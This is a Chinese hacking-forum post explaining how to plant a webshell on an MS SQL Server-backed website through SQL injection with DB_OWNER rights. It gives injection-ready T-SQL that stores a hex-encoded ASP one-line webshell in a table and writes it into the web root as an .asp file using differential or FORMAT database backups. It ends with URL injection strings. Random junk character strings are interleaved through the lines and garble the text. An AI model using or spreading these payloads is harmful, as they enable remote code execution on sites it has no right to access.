找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:. [0 e- A9 m4 E8 Y/ E( d8 L

* ^" u" M4 @. p, Y2 @减少备份文件大小,得到可执行的webshell成功率提高不少$ v* ~5 U9 e4 N  [% i2 t# K6 z4 ]
一利用差异备份" G/ ]8 ]- L0 j. d$ Q) j7 O
加一个参数WITH DIFFERENTIAL5 s& g% d2 Y1 |' I3 d! \
) f8 Y5 Y$ {  Y
19 v2 l3 I- p$ K- t# F" ?
21 e/ b% P6 P4 W! v
30 g* n4 [( U& `1 C. I
49 p# u. @1 e/ U- M8 N! A+ O
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s2 e2 U8 V0 d1 k9 O9 ]2 r! s! V
create table [dbo].[xiaolu] ([cmd] [image]);
4 p& Q1 i. c4 N6 z5 ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)3 ]7 W# @8 A) Z/ j# k  J
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
6 L, Q1 p1 ^8 W* Q, u" P3 l3 X7 X1 o( {
二利用完全FORMAT$ [2 Q3 E5 W9 v1 K. h- S' ]" M
加一个参数WITH FROMAT  ~, c/ Z3 p# b  D  w+ p
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以. D- Y) O6 Z* c7 n

: a; g+ [- j5 H. N3 h13 `. I* _6 u2 ~* C$ V& V% T
20 D# c, a; f! T1 |- {5 }
3
2 ^' N7 g' i2 h$ h0 q4
- M* b. M# |6 d/ D declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s0 F# b% T. M( P0 X2 U4 H1 O
create table [dbo].[xiaolu] ([cmd] [image]);
3 v! H! ^- n3 _: G$ Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)2 s% o6 U* L' V) d- b9 M
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT ( Q* w; R8 y! D: n8 {5 b7 ^9 R; X" o* _
1 x) o' ?9 ]& t; L8 v
总的来说就是那么简单几句,下面以备份数据库model为例子" w1 L4 q; |: B* c1 Q6 V
19 Y5 j7 r1 e% V

$ f6 k6 j9 B9 B9 p' a3 @# ]) \) g1
( I; X( C: P! F# E3 t! e id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2 \0 z. [$ ?1 Y  G; f+ d' I/ g
3 l' Z* v6 e% I: s7 `% m2
( ?9 n. |, T1 f
0 |: C3 c4 b$ I7 j) L. F1
) `& e; @7 e% R- h% A- p# b id=1;backup database model to disk='你的路径‘ with differential,format;--
: i9 f" a4 O2 [- X/ H% J6 x2 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表